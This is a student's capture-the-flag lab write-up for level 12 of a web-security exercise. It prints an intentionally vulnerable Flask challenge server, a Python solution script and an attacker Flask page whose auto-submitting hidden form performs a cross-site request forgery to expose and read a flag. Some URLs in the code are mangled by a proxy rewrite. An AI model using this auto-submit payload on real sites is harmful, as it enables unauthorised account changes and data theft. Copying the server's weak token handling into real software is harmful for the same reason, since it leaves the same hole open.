0% found this document useful (0 votes)
118 views3 pages

Ass5 12

Uploaded by

Meet Vyas
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
118 views3 pages

Ass5 12

Uploaded by

Meet Vyas
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

The same web server code is used for all challenges.

The level for this challenge is 12.

This is the code for level 12:


def level12():
global global_csrf_token

db.execute(("CREATE TABLE IF NOT EXISTS credentials AS "


'SELECT "flag" AS account_name, ? as secret, ? as is_exposed'),
(flag, False))

if request.path == "/get-csrf-token":
global_csrf_token = secrets.token_hex(16)
return "".join(global_csrf_token) + "\n"

if request.path == "/login":
if request.method == "POST":
account_name = request.form.get("account_name")
secret = request.form.get("secret")
assert account_name, "Missing `account_name` form"
assert secret, "Missing `secret` form"

account = db.execute(f"SELECT rowid, * FROM credentials WHERE


account_name = ? AND secret = ?", (account_name, secret)).fetchone()
assert account, "Invalid `account_name` or `secret`"

session["account"] = int(account["rowid"])
return redirect(request.path)

return form(["account_name", "secret"])

if request.path == "/is-exposed" and request.method == "POST":


account_id = int(session.get("account", -1))
account = db.execute("SELECT * FROM credentials WHERE rowid = ?",
(account_id,)).fetchone()
assert account, "Not logged in"
db.execute(f"UPDATE credentials SET is_exposed = TRUE WHERE rowid = ?",
(account_id,))
return "true\n"

if request.path == "/info":
csrf_token_header = request.headers.get('X-CSRF-Token')

if csrf_token_header and csrf_token_header == global_csrf_token:


assert "account" in request.args, "Missing `account` argument"
account_id = int(request.args["account"])
account = db.execute("SELECT * FROM credentials WHERE rowid = ?",
(account_id,)).fetchone()
assert account, "Invalid `account`"
info = [account["account_name"]]
if account["is_exposed"]:
info.append(account["secret"])
return " ".join(info) + "\n"

if request.path == "/visit":
csrf_token_header = request.headers.get('X-CSRF-Token')

if csrf_token_header and csrf_token_header == global_csrf_token:


url = request.args.get("url")
assert url, "Missing `url` argument"

url_arg_parsed = urllib.parse.urlparse(url)
assert url_arg_parsed.hostname == attacker_url, f"Invalid `url`,
hostname should be `{attacker_url}`"

with run_browser() as browser:


browser.get(f"http://{capture_url}/login")

account_form = {
"account_name": "flag",
"secret": flag,
}

for name, value in account_form.items():


field = browser.find_element(By.NAME, name)
field.send_keys(value)

submit_field = browser.find_element(By.ID, "submit")


submit_field.submit()
WebDriverWait(browser, 10).until(EC.staleness_of(submit_field))

browser.get(url)
time.sleep(1)

return "Visited\n"

return "Not Found\n", 404

We will follow a similar path of URLs like the 10th question. The only difference
is that some paths now need a valid CSRF token in the header and the visit path
goes to a separate flask URL that we need to create. In our flask URL, we simulate
a post request to the is-exposed path using a <form> tag and submit the form on
loading of body, so from the last question only the flask URL html code has
changed. The path is visit -> login (visit goes to this automatically) -> POST
request made to is-exposed -> info. The info path prints the flag.

solution.py:
import requests

s = requests.Session()

token = s.get("http://capture.local/get-csrf-token").text.strip()

# update headers
s.headers.update({'X-CSRF-Token': token})

print(s.get("http://capture.local/visit?url=https%3A%2F%2Fsiteproxy.ruqli.workers.dev%3A443%2Fhttp%2Fattacker.local
%3A5000%2Fis-exposed").text)

print(s.get("http://capture.local/info?account=1").text)

s.close()

app.py:
from flask import Flask
attacker_url = "attacker.local"

app = Flask(__name__)

@app.route('/is-exposed')
def hello_world():
# HTML form designed to auto-submit via JavaScript upon page load
html_form = '''
<html>
<body onload="document.getElementById('leakForm').submit();">
<form id="leakForm" action="http://capture.local/is-exposed"
method="POST">
<input type="hidden" name="someData" value="This will be sent
as part of the POST request">
</form>
<script>
// JavaScript is only used to submit the form when the page loads
</script>
</body>
</html>
'''
return html_form

if __name__ == '__main__':
app.run(attacker_url, debug=False)

- First we run the app in the background using `python3 app.py &`
- The we run the solution script, which prints the flag value

You might also like